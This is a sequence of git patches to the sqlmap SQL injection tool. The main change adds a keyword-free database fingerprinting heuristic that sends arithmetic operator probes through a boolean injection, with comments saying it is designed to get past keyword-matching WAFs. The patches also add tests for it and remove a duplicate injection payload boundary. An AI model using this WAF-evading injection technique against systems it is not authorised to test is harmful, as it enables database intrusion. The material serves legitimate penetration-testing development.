-6574ed70c7fe0ac305dbc85ed7102f648b6a3f42fe2fe6b89172d69717327149 lib/controller/checks.py +72707b5bdfc757c4e5271e156178919292b991a6e7337d3dcdeffea9df6db3ea lib/controller/checks.py dcd4adcd7a2447a624ca7927541941d25767a4581af2d762c3197dc93790f4df lib/controller/controller.py d69e84f1648cdb907f5d2dd454f03874a4613752b07867510145d51d84b3c56f lib/controller/handler.py 1966ca704961fb987ab757f0a4afddbf841d1a880631b701487c75cef63d60c3 lib/controller/__init__.py @@ -189,7 +189,7 @@ ccc4a717e887652b1fcce073d9409d9c59a3b28548c703a9e453d15845f90cd7 lib/core/patch 48797d6c34dd9bb8a53f7f3794c85f4288d82a9a1d6be7fcf317d388cb20d4b3 lib/core/replication.py 0b8c38a01bb01f843d94a6c5f2075ee47520d0c4aa799cecea9c3e2c5a4a23a6 lib/core/revision.py 888daba83fd4a34e9503fe21f01fef4cc730e5cde871b1d40e15d4cbc847d56c lib/core/session.py -f01361d999b0cf89b8418265c4a4962924fcc03a6b87e15b39c0836788725e85 lib/core/settings.py +997888bab1d98fb9bc2550f3ab99df966d37f38719a41a8fb767e2cd79db6c4f lib/core/settings.py cd5a66deee8963ba8e7e9af3dd36eb5e8127d4d68698811c29e789655f507f82 lib/core/shell.py bcb5d8090d5e3e0ef2a586ba09ba80eef0c6d51feb0f611ed25299fbb254f725 lib/core/subprocessng.py 70ea3768f1b3062b22d20644df41c86238157ec80dd43da40545c620714273c6 lib/core/target.py @@ -246,6 +246,7 @@ aeefb42ea0c68f72744bc1bfd7194ec1bc06480d8a7e23f4b8d3d23fbba2b014 lib/utils/api. 442555ab85277aff7c9e0cf465ea5b0d28395c326f68363449b2d3941f4b6de2 lib/utils/brute.py da5bcbcda3f667582adf5db8c1b5d511b469ac61b55d387cec66de35720ed718 lib/utils/crawler.py a94958be0ec3e9d28d8171813a6a90655a9ad7e6aa33c661e8d8ebbfcf208dbb lib/utils/deps.py +0fd055877e8b21d17c11447dac7f91ef1766e0b04d470c494a6d98f5249e3186 lib/utils/dialect.py 51cfab194cd5b6b24d62706fb79db86c852b9e593f4c55c15b35f175e70c9d75 lib/utils/getch.py 853c3595e1d2efc54b8bfb6ab12c55d1efc1603be266978e3a7d96d553d91a52 lib/utils/gui.py 972c5db9c9e30ac0f91c0f8d4df4531d0304e151dac99f1399c37c952ba9f935 lib/utils/har.py @@ -394,7 +395,7 @@ ba04af3683b9a6e29e8fa6b3bf436a57e59435cebb042414f2df82018d91599e plugins/dbms/m 78f1ff4b82fd4af50e1fbdb81539862f1c31258cda212b39f4a8501960f1b95e plugins/dbms/monetdb/syntax.py 236fd244f0bbc3976b389429a8176feda6c243267564c2a0eff6fc2458c1b3f9 plugins/dbms/monetdb/takeover.py 6bdc774463ac87b1bd1b6a9d5c2346b7edbf40d9848b7870a30d1eaedde4fc51 plugins/dbms/mssqlserver/connector.py -52c19e9067f22f5c386206943d1807af4c661500bf260930a5986e9a180e96c7 plugins/dbms/mssqlserver/enumeration.py +69ba678efde8335efb8a167b63143b4fb65ea19802bc3ade30c87cb979c198e4 plugins/dbms/mssqlserver/enumeration.py 67cd70b64aed27af467682ceae8e20992b6765d2374d5762efb5a4585b8a6f79 plugins/dbms/mssqlserver/filesystem.py 38ade085f9f1b227eda8c89f78e3ce869e8f430c98bef0cc7cbd2c7dcd60c24e plugins/dbms/mssqlserver/fingerprint.py 1ecde09e80d7b709a710281f4983a6831bc02ca3458ae0b97b28446d6db241b4 plugins/dbms/mssqlserver/__init__.py @@ -479,7 +480,7 @@ e2e20e4707abe9ed8b6208837332d2daa4eaca282f847412063f2484dcca8fbd plugins/dbms/v 2b2dad6ba1d344215cad11b629546eb9f259d7c996c202edf3de5ab22418787e plugins/dbms/virtuoso/takeover.py 51c44048e4b335b306f8ed1323fd78ad6935a8c0d6e9d6efe195a9a5a24e46dc plugins/generic/connector.py a967f4ebd101c68a5dcc10ff18c882a8f44a5c3bf06613d951a739ecc3abb9b3 plugins/generic/custom.py -37351d6fb7418e3659bec5c9a6f9f181a606deae74d3bc9fb8c97f495449471f plugins/generic/databases.py +6d037861acbbabec529e10c50840820ca7b876c29c69310a571b519c3f3b72fa plugins/generic/databases.py 36b7319ac00f8fe1a33496364a76ff165ea2e66db0150f5366a45135366369ca plugins/generic/entries.py d2de7fc135cf0db3eb4ac4a509c23ebec5250a5d8043face7f8c546a09f301b5 plugins/generic/enumeration.py a02ac4ebc1cc488a2aa5ae07e6d0c3d5064e99ded7fd529dfa073735692f11df plugins/generic/filesystem.py @@ -581,6 +582,7 @@ a48c411fea864e6bcd6a1c7e1a35094b8cda8d15088fd9e7b0270542ae20daa9 tests/test_com 5016119bdb57094381afdca35ef29a4a6641e26e4b48a9119f1db633e6123d29 tests/test_datafiles.py 9c240d4f796e56376374d4ce46f358ceb7d48cc6a7427760c5bfb89ff01cb545 tests/test_datatypes.py 3804eb2d730220360f9dc07d5994eb64e9f65acf3b0d8648df8df2a2177ba8fd tests/test_decodepage.py +9c0a0cd0b2d52a53f75c98c60f87a022354b7c3dc4baaf3fe1e272a0af5b7f0a tests/test_dialectdbms.py e40a49cfa73c45b3c3c6d1d1d00738861e270cb7a07b28f5a5356f9c7c800cf2 tests/test_dialect.py 993a2d4d87c4fbaf261663b069629acc95ee4405aa0c42cf5a8f39649fdb0fff tests/test_dicts.py 9cd5841349bc4db818658d12184929a96f7f279eff1f53ad18a54dbefbd6b276 tests/test_dump_jsonl.py diff --git a/data/xml/queries.xml b/data/xml/queries.xml index 0d32e5a076b..a7f0dd452fb 100644 --- a/data/xml/queries.xml +++ b/data/xml/queries.xml @@ -1321,7 +1321,7 @@ </dbms> <dbms value="ClickHouse"> - <cast query="CAST(%s AS String)"/> + <cast query="CAST(%s AS Nullable(String))"/> <length query="length(%s)"/> <isnull query="ifNull(%s, '')"/> <delimiter query="||"/> diff --git a/lib/controller/checks.py b/lib/controller/checks.py index f74acb79610..71d86f054ab 100644 --- a/lib/controller/checks.py +++ b/lib/controller/checks.py @@ -100,6 +100,7 @@ from lib.request.comparison import comparison from lib.request.inject import checkBooleanExpression from lib.request.templates import getPageTemplate +from lib.utils.dialect import dialectCheckDbms from lib.techniques.union.test import unionTest from lib.techniques.union.use import configUnion from thirdparty import six @@ -149,6 +150,13 @@ def checkSqlInjection(place, parameter, value): if not Backend.getIdentifiedDbms() and kb.heuristicDbms is None and not kb.droppingRequests: kb.heuristicDbms = heuristicCheckDbms(injection) + # keyword-free fallback: heuristicCheckDbms() above uses SELECT/quote payloads + # and is skipped when the WAF/IPS is dropping requests; the operator-dialect + # probes carry no SELECT/quote/schema name, so they can still narrow the DBMS in + # that case (or when it was inconclusive), using the now-calibrated boolean oracle + if not Backend.getIdentifiedDbms() and kb.heuristicDbms is None: + kb.heuristicDbms = dialectCheckDbms(injection) + # If the DBMS has already been fingerprinted (via DBMS-specific # error message, simple heuristic check or via DBMS-specific # payload), ask the user to limit the tests to the fingerprinted diff --git a/lib/core/settings.py b/lib/core/settings.py index 1d06f132f45..6a295c57f59 100644 --- a/lib/core/settings.py +++ b/lib/core/settings.py @@ -20,7 +20,7 @@ from thirdparty import six # sqlmap version (<major>.<minor>.<month>.<monthly commit>) -VERSION = "1.10.6.120" +VERSION = "1.10.6.121" TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable" TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34} VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE) @@ -306,7 +306,7 @@ MAXDB_SYSTEM_DBS = ("SYSINFO", "DOMAIN") SYBASE_SYSTEM_DBS = ("master", "model", "sybsystemdb", "sybsystemprocs", "tempdb") DB2_SYSTEM_DBS = ("NULLID", "SQLJ", "SYSCAT", "SYSFUN", "SYSIBM", "SYSIBMADM", "SYSIBMINTERNAL", "SYSIBMTS", "SYSPROC", "SYSPUBLIC", "SYSSTAT", "SYSTOOLS", "SYSDEBUG", "SYSINST") -HSQLDB_SYSTEM_DBS = ("INFORMATION_SCHEMA", "SYSTEM_LOB") +HSQLDB_SYSTEM_DBS = ("INFORMATION_SCHEMA", "SYSTEM_LOBS") H2_SYSTEM_DBS = ("INFORMATION_SCHEMA",) + ("IGNITE", "ignite-sys-cache") INFORMIX_SYSTEM_DBS = ("sysmaster", "sysutils", "sysuser", "sysadmin") MONETDB_SYSTEM_DBS = ("tmp", "json", "profiler") diff --git a/lib/utils/dialect.py b/lib/utils/dialect.py new file mode 100644 index 00000000000..1d225c3d27a --- /dev/null +++ b/lib/utils/dialect.py @@ -0,0 +1,120 @@ +#!/usr/bin/env python + +""" +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) +See the file 'LICENSE' for copying permission +""" + +from lib.core.common import Backend +from lib.core.common import popValue +from lib.core.common import pushValue +from lib.core.data import conf +from lib.core.data import kb +from lib.core.data import logger +from lib.core.enums import DBMS +from lib.request.inject import checkBooleanExpression + +# Operator-dialect probes for a keyword-free back-end DBMS heuristic. +# +# Each probe is an arithmetic identity that holds only in the dialect(s) noted, using operator +# *semantics* alone - no SQL keywords, functions, quotes or schema names. It complements +# heuristicCheckDbms() (which uses (SELECT 'x')='x' string round-trips): the dialect probes carry +# no SELECT/quote, so they can narrow the back-end DBMS where those are dropped (e.g. a +# keyword-matching WAF/IPS, or when kb.droppingRequests has it skipped entirely). +# +# Each probe is evaluated through checkBooleanExpression(), i.e. as an appended boolean +# (... AND (<probe>)), which yields a clean true/false from the comparison oracle. (A value-position +# variant - replacing the value with id=2^0 etc. - was prototyped and rejected: those probes land on +# OTHER valid rows, which sqlmap's fuzzy page comparison conflates with the anchor row, producing +# false positives. See PROVE_DESIGN.md.) +# +# Truth table measured on a live OWASP-CRS platform across 11 engines (MySQL, MariaDB/TiDB, +# PostgreSQL, CockroachDB, Microsoft SQL Server, SQLite, Firebird, ClickHouse, H2, HSQLDB, Derby); +# only the zero-false-positive rules are kept (see _classify). With anchor value 2: +# +# * 2^0=2 -> '^' is bitwise XOR (MySQL/MSSQL: 2^0=2) vs exponentiation (PostgreSQL: 2^0=1) vs +# no such operator (SQLite/Oracle/... -> error, so false) +# * 2^3=8 -> '^' is exponentiation (PostgreSQL/CockroachDB: 2^3=8) - false for XOR dialects +# (2^3=1) and erroring dialects; a positive PostgreSQL-family marker. CAVEAT: +# '^'=exponentiation is not strictly unique to PostgreSQL - MS Access/Jet and DuckDB +# also use it (neither on the platform), so this can read as PostgreSQL there. +# * 5/2=2 -> integer division (PostgreSQL/MSSQL/SQLite) vs real division (MySQL/Oracle: 2.5) +# * 2|0=2 -> a bitwise OR operator exists (absent in Firebird/Oracle/ClickHouse/H2) +DIALECT_PROBES = ( + ("xor", "2^0=2"), + ("pgpow", "2^3=8"), + ("intdiv", "5/2=2"), + ("bitor", "2|0=2"), +) + +def _classify(signature): + """ + Maps a measured (xor, pgpow, intdiv, bitor) operator-dialect signature to a back-end + DBMS, or returns None when the signature does not *uniquely* identify a major DBMS (so + detection proceeds unchanged - the heuristic never wrong-foots the scan). + + Rules below are the subset of the measured 11-engine truth table that maps with zero + false positives. Engines whose operator profile is not distinctive enough (Oracle's + all-false signature, which a minimal engine like ClickHouse/H2/Firebird/HSQLDB/Derby or + a fully WAF-blocked channel also produces) deliberately fall through to None: + + >>> _classify((True, False, False, True)) # MySQL / MariaDB / TiDB + 'MySQL' + >>> _classify((True, False, True, True)) # Microsoft SQL Server + 'Microsoft SQL Server' + >>> _classify((False, True, True, True)) # PostgreSQL + 'PostgreSQL' + >>> _classify((False, True, False, True)) # CockroachDB (pgwire) -> PostgreSQL family + 'PostgreSQL' + >>> _classify((False, False, True, True)) # SQLite + 'SQLite' + >>> _classify((False, False, True, False)) is None # Firebird/HSQLDB/Derby/H2 -> no prior + True + >>> _classify((False, False, False, False)) is None # all-false (Oracle/ClickHouse/blocked) -> no prior + True + """ + + xor, pgpow, intdiv, bitor = signature + + if pgpow: # '^' is exponentiation -> PostgreSQL family + return DBMS.PGSQL + if xor and intdiv: # '^' is XOR AND integer division -> SQL Server + return DBMS.MSSQL + if xor and not intdiv: # '^' is XOR AND real division -> MySQL family + return DBMS.MYSQL + if not xor and intdiv and bitor: # no '^', integer division, bitwise '|' -> SQLite + return DBMS.SQLITE + + return None + +def dialectCheckDbms(injection): + """ + Keyword-free back-end DBMS heuristic via operator-dialect differentials, evaluated through the + given (boolean-capable) injection. Complements heuristicCheckDbms() - which is skipped when the + WAF/IPS is dropping requests and otherwise relies on SELECT/quote payloads - because every probe + here is built from operator semantics alone. Returns the DBMS name or None; an ambiguous or + WAF-blocked channel yields None, leaving the scan unchanged. + """ + + retVal = None + + if conf.skipHeuristics: + return retVal + + pushValue(kb.injection) + kb.injection = injection + + try: + # channel sanity: a tautology must read TRUE and a contradiction FALSE, otherwise the + # boolean oracle is unreliable and the all-false signature (Oracle-like) would be meaningless + if checkBooleanExpression("2=2") and not checkBooleanExpression("2=3"): + signature = tuple(bool(checkBooleanExpression(expr)) for _, expr in DIALECT_PROBES) + retVal = _classify(signature) + finally: + kb.injection = popValue() + + if retVal and not Backend.getIdentifiedDbms(): + infoMsg = "heuristic (dialect) test shows that the back-end DBMS could be '%s'" % retVal + logger.info(infoMsg) + + return retVal diff --git a/plugins/dbms/mssqlserver/enumeration.py b/plugins/dbms/mssqlserver/enumeration.py index 28de4c5d672..bd27f55e2bb 100644 --- a/plugins/dbms/mssqlserver/enumeration.py +++ b/plugins/dbms/mssqlserver/enumeration.py @@ -93,7 +93,7 @@ def getTables(self): if any(isTechniqueAvailable(_) for _ in (PAYLOAD.TECHNIQUE.UNION, PAYLOAD.TECHNIQUE.ERROR, PAYLOAD.TECHNIQUE.QUERY)) or conf.direct: for db in dbs: - if conf.excludeSysDbs and db in self.excludeDbsList: + if conf.excludeSysDbs and unsafeSQLIdentificatorNaming(db) in self.excludeDbsList: infoMsg = "skipping system database '%s'" % db singleTimeLogMessage(infoMsg) continue @@ -116,7 +116,7 @@ def getTables(self): if not kb.data.cachedTables and isInferenceAvailable() and not conf.direct: for db in dbs: - if conf.excludeSysDbs and db in self.excludeDbsList: + if conf.excludeSysDbs and unsafeSQLIdentificatorNaming(db) in self.excludeDbsList: infoMsg = "skipping system database '%s'" % db singleTimeLogMessage(infoMsg) continue @@ -206,7 +206,7 @@ def searchTable(self): for db in foundTbls.keys(): db = safeSQLIdentificatorNaming(db) - if conf.excludeSysDbs and db in self.excludeDbsList: + if conf.excludeSysDbs and unsafeSQLIdentificatorNaming(db) in self.excludeDbsList: infoMsg = "skipping system database '%s'" % db singleTimeLogMessage(infoMsg) continue @@ -343,7 +343,7 @@ def searchColumn(self): for db in (_ for _ in dbs if _): db = safeSQLIdentificatorNaming(db) - if conf.excludeSysDbs and db in self.excludeDbsList: + if conf.excludeSysDbs and unsafeSQLIdentificatorNaming(db) in self.excludeDbsList: continue if conf.exclude and re.search(conf.exclude, db, re.I) is not None: diff --git a/plugins/generic/databases.py b/plugins/generic/databases.py index f5d5987f62e..bae73904c89 100644 --- a/plugins/generic/databases.py +++ b/plugins/generic/databases.py @@ -304,7 +304,7 @@ def getTables(self, bruteForce=None): if conf.excludeSysDbs: infoMsg = "skipping system database%s '%s'" % ("s" if len(self.excludeDbsList) > 1 else "", ", ".join(unsafeSQLIdentificatorNaming(db) for db in self.excludeDbsList)) logger.info(infoMsg) - query += " IN (%s)" % ','.join("'%s'" % unsafeSQLIdentificatorNaming(db) for db in sorted(dbs) if db not in self.excludeDbsList) + query += " IN (%s)" % ','.join("'%s'" % unsafeSQLIdentificatorNaming(db) for db in sorted(dbs) if unsafeSQLIdentificatorNaming(db) not in self.excludeDbsList) else: query += " IN (%s)" % ','.join("'%s'" % unsafeSQLIdentificatorNaming(db) for db in sorted(dbs)) @@ -356,7 +356,7 @@ def getTables(self, bruteForce=None): if not kb.data.cachedTables and isInferenceAvailable() and not conf.direct: for db in dbs: - if conf.excludeSysDbs and db in self.excludeDbsList: + if conf.excludeSysDbs and unsafeSQLIdentificatorNaming(db) in self.excludeDbsList: infoMsg = "skipping system database '%s'" % unsafeSQLIdentificatorNaming(db) logger.info(infoMsg) continue diff --git a/tests/test_dialectdbms.py b/tests/test_dialectdbms.py new file mode 100644 index 00000000000..6b464cbc5cd --- /dev/null +++ b/tests/test_dialectdbms.py @@ -0,0 +1,106 @@ +#!/usr/bin/env python + +""" +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) +See the file 'LICENSE' for copying permission + +Operator-dialect DBMS heuristic (lib/utils/dialect.py). These lock in the empirical truth +table: the (xor, intdiv, pgcast, bitor) operator signatures measured across 11 live engines +on an OWASP-CRS test platform, asserting that _classify() maps each to the expected back-end +DBMS - and, just as importantly, that the engines whose signatures collide or are ambiguous +map to None (no prior), so the heuristic never wrong-foots detection. The end-to-end behaviour +(the probes producing these signatures through a real boolean injection) is exercised against +the live platform, not here. +""" + +import os +import sys +import unittest + +sys.path.insert(0, os.path.dirname(os.path.abspath(__file__))) +from _testutils import bootstrap +bootstrap() + +import lib.utils.dialect as dialect +from lib.core.data import kb +from lib.core.enums import DBMS +from lib.utils.dialect import _classify +from lib.utils.dialect import dialectCheckDbms + +# measured 2026-06 across the sqli-platform (boolean form "id=2 AND <probe>", anchor value 2); +# signature = (2^0=2, 2^3=8, 5/2=2, 2|0=2) +MEASURED = { + "mysql": ((True, False, False, True), DBMS.MYSQL), + "tidb": ((True, False, False, True), DBMS.MYSQL), # MySQL wire-compatible + "mssql": ((True, False, True, True), DBMS.MSSQL), + "postgres": ((False, True, True, True), DBMS.PGSQL), + "cockroach": ((False, True, False, True), DBMS.PGSQL), # pgwire (exponent '^', decimal division) + "sqlite": ((False, False, True, True), DBMS.SQLITE), + # not distinctive enough -> deliberately no prior (operators alone can't safely separate these) + "firebird": ((False, False, True, False), None), + "hsqldb": ((False, False, True, False), None), # collides with firebird/derby/h2 + "derby": ((False, False, True, False), None), + "h2": ((False, False, True, False), None), + "clickhouse": ((False, False, False, False), None), # all-error, like Oracle/broken channel +} + + +class TestDialectClassification(unittest.TestCase): + def test_measured_engines_map_as_expected(self): + for engine, (signature, expected) in MEASURED.items(): + self.assertEqual(_classify(signature), expected, "engine %r misclassified" % engine) + + def test_no_false_positive_across_measured_set(self): + # ambiguous engines must not borrow a major-DBMS identity; concrete ones must stay in range + for engine, (signature, expected) in MEASURED.items(): + result = _classify(signature) + if expected is None: + self.assertIsNone(result, "ambiguous engine %r leaked a DBMS prior" % engine) + else: + self.assertIn(result, (DBMS.MYSQL, DBMS.MSSQL, DBMS.PGSQL, DBMS.SQLITE, DBMS.ORACLE)) + + def test_all_error_signature_yields_no_prior(self): + # an all-error signature (Oracle, ClickHouse, or simply a WAF-blocked channel) is not + # distinctive enough - it must NOT be guessed as any DBMS + self.assertIsNone(_classify((False, False, False, False))) + + def test_pgpow_dominates_as_postgres_marker(self): + # exponentiation '^' is a positive PostgreSQL-family marker regardless of division flavour + self.assertEqual(_classify((False, True, True, True)), DBMS.PGSQL) + self.assertEqual(_classify((False, True, False, True)), DBMS.PGSQL) + + +class TestDialectCheckDbmsGuard(unittest.TestCase): + """dialectCheckDbms() end-to-end with a mocked boolean oracle: correct DBMS on a good + channel, and None (no prior) whenever the channel is unreliable - the safety contract.""" + + def _run(self, truth): + # truth: {expression: bool} simulating checkBooleanExpression through a confirmed injection + orig = dialect.checkBooleanExpression + dialect.checkBooleanExpression = lambda expr, **kwargs: bool(truth.get(expr, False)) + saved = kb.get("injection") + try: + return dialectCheckDbms(object()) # the injection arg is only stashed, never inspected here + finally: + dialect.checkBooleanExpression = orig + kb.injection = saved + + def test_identifies_mysql_on_good_channel(self): + truth = {"2=2": True, "2=3": False, "2^0=2": True, "2^3=8": False, "5/2=2": False, "2|0=2": True} + self.assertEqual(self._run(truth), DBMS.MYSQL) + + def test_identifies_postgres_on_good_channel(self): + truth = {"2=2": True, "2=3": False, "2^0=2": False, "2^3=8": True, "5/2=2": True, "2|0=2": True} + self.assertEqual(self._run(truth), DBMS.PGSQL) + + def test_none_on_blocked_channel(self): + # everything blocked/false -> the tautology 2=2 reads False -> sanity fails -> None + self.assertIsNone(self._run({})) + + def test_none_on_static_channel(self): + # a static page reads everything True, so the contradiction 2=3 is True -> sanity fails -> None + self.assertIsNone(self._run({"2=2": True, "2=3": True, "2^0=2": True, "2^3=8": True, "5/2=2": True, "2|0=2": True})) + + +if __name__ == "__main__": + unittest.main(verbosity=2) From 8a458fc8d068ba842dc629b75ba7462a4fa17bcf Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?Miroslav=20=C5=A0tampar?= <miroslav.stampar@gmail.com> Date: Thu, 18 Jun 2026 13:14:15 +0200 Subject: [PATCH 577/853] Removal of duplicate boundary --- data/txt/sha256sums.txt | 4 ++-- data/xml/boundaries.xml | 8 -------- lib/core/settings.py | 2 +- 3 files changed, 3 insertions(+), 11 deletions(-) diff --git a/data/txt/sha256sums.txt b/data/txt/sha256sums.txt index f6a88d4c87e..ab376f2e64c 100644 --- a/data/txt/sha256sums.txt +++ b/data/txt/sha256sums.txt @@ -76,7 +76,7 @@ c5b9d622aca6da735e7ed9906e28c7e061e97c223ef92ba1a5d5028ecbb16962 data/udf/postg a7eb4d1bcbdfd155383dcd35396e2d9dd40c2e89ce9d5a02e63a95a94f0ab4ea data/xml/banner/sharepoint.xml e2febc92f9686eacf17a0054f175917b783cc6638ca570435a5203b03245fc18 data/xml/banner/x-aspnet-version.xml 3a440fbbf8adffbe6f570978e96657da2750c76043f8e88a2c269fe9a190778c data/xml/banner/x-powered-by.xml -0223157364ea212de98190e7c6f46f9d2ee20cf3d17916d1af16e857bb5dc575 data/xml/boundaries.xml +a32fc8796082d2e45cfc969f0b45ad476bf87a8515d67b2fed77c5058df5a0f5 data/xml/boundaries.xml 0baf0fade74d4ad294ee88ef306743da0c6a4631b8d640708809103ef9cf63ed data/xml/errors.xml d0b094a110bccec97d50037cc51445191561c0722ec53bf2cebe1521786e2451 data/xml/payloads/boolean_blind.xml 53d0f29459f37248c320d5cb9960d432f46889696d27ae30cc3a3309fd6e026c data/xml/payloads/error_based.xml @@ -189,7 +189,7 @@ ccc4a717e887652b1fcce073d9409d9c59a3b28548c703a9e453d15845f90cd7 lib/core/patch 48797d6c34dd9bb8a53f7f3794c85f4288d82a9a1d6be7fcf317d388cb20d4b3 lib/core/replication.py 0b8c38a01bb01f843d94a6c5f2075ee47520d0c4aa799cecea9c3e2c5a4a23a6 lib/core/revision.py 888daba83fd4a34e9503fe21f01fef4cc730e5cde871b1d40e15d4cbc847d56c lib/core/session.py -997888bab1d98fb9bc2550f3ab99df966d37f38719a41a8fb767e2cd79db6c4f lib/core/settings.py +c5bd1d6e862412495961bee8513e9e2f78a8f90ca15fdc53a87f221b84f9ab70 lib/core/settings.py cd5a66deee8963ba8e7e9af3dd36eb5e8127d4d68698811c29e789655f507f82 lib/core/shell.py bcb5d8090d5e3e0ef2a586ba09ba80eef0c6d51feb0f611ed25299fbb254f725 lib/core/subprocessng.py 70ea3768f1b3062b22d20644df41c86238157ec80dd43da40545c620714273c6 lib/core/target.py diff --git a/data/xml/boundaries.xml b/data/xml/boundaries.xml index ccf93177a58..cea5457cdd6 100644 --- a/data/xml/boundaries.xml +++ b/data/xml/boundaries.xml @@ -441,14 +441,6 @@ Formats: <suffix>)+</suffix> </boundary> - <boundary> - <level>5</level> - <clause>9</clause> - <where>1</where> - <ptype>2</ptype> - <prefix>'+(SELECT '[RANDSTR]' WHERE [RANDNUM]=[RANDNUM]</prefix> - <suffix>)+'</suffix> - </boundary> <!-- End of pre-WHERE generic boundaries --> <!-- Pre-WHERE derived table boundaries - e.g. "SELECT * FROM (SELECT column FROM table WHERE column LIKE '%$_REQUEST["name"]%') AS t1"--> diff --git a/lib/core/settings.py b/lib/core/settings.py index 6a295c57f59..faf1d11db58 100644 --- a/lib/core/settings.py +++ b/lib/core/settings.py @@ -20,7 +20,7 @@ from thirdparty import six # sqlmap version (<major>.<minor>.<month>.<monthly commit>) -VERSION = "1.10.6.121" +VERSION = "1.10.6.122" TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable" TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34} VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE) From 8de9c5899d6e2222e29252a4552d1e2eda008c12 Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?Miroslav=20=C5=A0tampar?= <miroslav.stampar@gmail.com> Date: Thu, 18 Jun 2026 17:46:40 +0200 Subject: [PATCH 578/853] Couple of improvements --- data/txt/sha256sums.txt | 34 +++++++++---------- data/xml/payloads/error_based.xml | 4 +-- data/xml/payloads/inline_query.xml | 2 +- lib/controller/checks.py | 13 ++++++++ lib/controller/controller.py | 2 +- lib/core/agent.py | 2 +- lib/core/bigarray.py | 4 +-- lib/core/common.py | 4 +-- lib/core/option.py | 6 ++-- lib/core/optiondict.py | 2 +- lib/core/settings.py | 7 +++- lib/core/testing.py | 2 +- lib/parse/cmdline.py | 2 +- lib/request/inject.py | 12 ++++--- lib/techniques/error/use.py | 6 ++-- lib/techniques/union/use.py | 6 ++-- lib/utils/prove.py | 49 +++++++++++++++++++++++----- plugins/dbms/mssqlserver/takeover.py | 2 +- 18 files changed, 108 insertions(+), 51 deletions(-) diff --git a/data/txt/sha256sums.txt b/data/txt/sha256sums.txt index ab376f2e64c..18bc616082f 100644 --- a/data/txt/sha256sums.txt +++ b/data/txt/sha256sums.txt @@ -79,8 +79,8 @@ e2febc92f9686eacf17a0054f175917b783cc6638ca570435a5203b03245fc18 data/xml/banne a32fc8796082d2e45cfc969f0b45ad476bf87a8515d67b2fed77c5058df5a0f5 data/xml/boundaries.xml 0baf0fade74d4ad294ee88ef306743da0c6a4631b8d640708809103ef9cf63ed data/xml/errors.xml d0b094a110bccec97d50037cc51445191561c0722ec53bf2cebe1521786e2451 data/xml/payloads/boolean_blind.xml -53d0f29459f37248c320d5cb9960d432f46889696d27ae30cc3a3309fd6e026c data/xml/payloads/error_based.xml -b0f434f64105bd61ab0f6867b3f681b97fa02b4fb809ac538db382d031f0e609 data/xml/payloads/inline_query.xml +6ebf0da74b18c95aee4fd4fc2874bda4b3780dc4254806f3968b953fa01bdca1 data/xml/payloads/error_based.xml +516a2ff314bba3ecf65d0371bf8c2654ad79b09c0737b1fe0f178d7885a9508d data/xml/payloads/inline_query.xml 0648264166455010921df1ec431e4c973809f37ef12cbfea75f95029222eb689 data/xml/payloads/stacked_queries.xml 997556b6170964a64474a2e053abe33cf2cf029fb1acec660d4651cc67a3c7e1 data/xml/payloads/time_blind.xml 40a4878669f318568097719d07dc906a19b8520bc742be3583321fc1e8176089 data/xml/payloads/union_query.xml @@ -162,13 +162,13 @@ df768bcb9838dc6c46dab9b4a877056cb4742bd6cfaaf438c4a3712c5cc0d264 extra/shutils/ 1966ca704961fb987ab757f0a4afddbf841d1a880631b701487c75cef63d60c3 extra/vulnserver/__init__.py 63657c00a046ca0fb28fd069407ab6305bd7b95c42f26a96ed083fd05b152252 extra/vulnserver/vulnserver.py 3abecaec1a9c59645a4821463a2d761235f7a4f763a491f188a41a083bbddd98 lib/controller/action.py -72707b5bdfc757c4e5271e156178919292b991a6e7337d3dcdeffea9df6db3ea lib/controller/checks.py -dcd4adcd7a2447a624ca7927541941d25767a4581af2d762c3197dc93790f4df lib/controller/controller.py +9387fb775b694156a71b336a2a9638ef24c577aa38746f391ac040ff05306d95 lib/controller/checks.py +96463b969312bd4fd29452b5fc739f33e5a73f81fdc1ef80ac27debbe9926e42 lib/controller/controller.py d69e84f1648cdb907f5d2dd454f03874a4613752b07867510145d51d84b3c56f lib/controller/handler.py 1966ca704961fb987ab757f0a4afddbf841d1a880631b701487c75cef63d60c3 lib/controller/__init__.py -b36b085ff1b5797e375c1e2ca3b12c7ab4204f48acd1a1efb075cff8302d9750 lib/core/agent.py -ca3e5ce56cb1cae0a8e815425ab6810068004bffe8861d1037c7c87c0ae02477 lib/core/bigarray.py -734a00fd87c67cde48d9ab9b5cdfa8b064300939898c4de2636e91d16a4223ba lib/core/common.py +1d7ed24bc41b9b73d7483a41c8b9162e95c7c027b1d07e52904c75fcad42fcfd lib/core/agent.py +12d0f1f28796b6fbf5629a3fd335b4098eac0583f832d1aa650efa22bf52e782 lib/core/bigarray.py +f3725380a33c370c263516863d8e2bf3582f0ea6e37d45df8c176aa62ade19a1 lib/core/common.py 8f1272487e1adfcc8c755a2f56f0c6d21eac5e685a73a9a159482f9dc9142bc5 lib/core/compat.py 742bce10b97034966021ec60c7ac294db4af4fe7893613d63172a02c29f009f8 lib/core/convert.py c03dc585f89642cfd81b087ac2723e3e1bb3bfa8c60e6f5fe58ef3b0113ebfe6 lib/core/data.py @@ -181,26 +181,26 @@ e4f92e09737ff0dda7ec30e0db1912570e252853b3af9b8f2b9f68ad33cf09fe lib/core/enums 5387168e5dfedd94ae22af7bb255f27d6baaca50b24179c6b98f4f325f5cc7b4 lib/core/exception.py 1966ca704961fb987ab757f0a4afddbf841d1a880631b701487c75cef63d60c3 lib/core/__init__.py 914a13ee21fd610a6153a37cbe50830fcbd1324c7ebc1e7fc206d5e598b0f7ad lib/core/log.py -06651cff25422dcb84c159f80faf8dc377d82ddd451b5910f12c4c6a3ebe1e94 lib/core/optiondict.py -e3a3729a24306b7ecace614fe27a8123c0becb0c5283ca519e5bcf376af2c711 lib/core/option.py +96d54c79a2982709ba5639bc997c76db700e85c7fdcb474cedb490132f7ae5ad 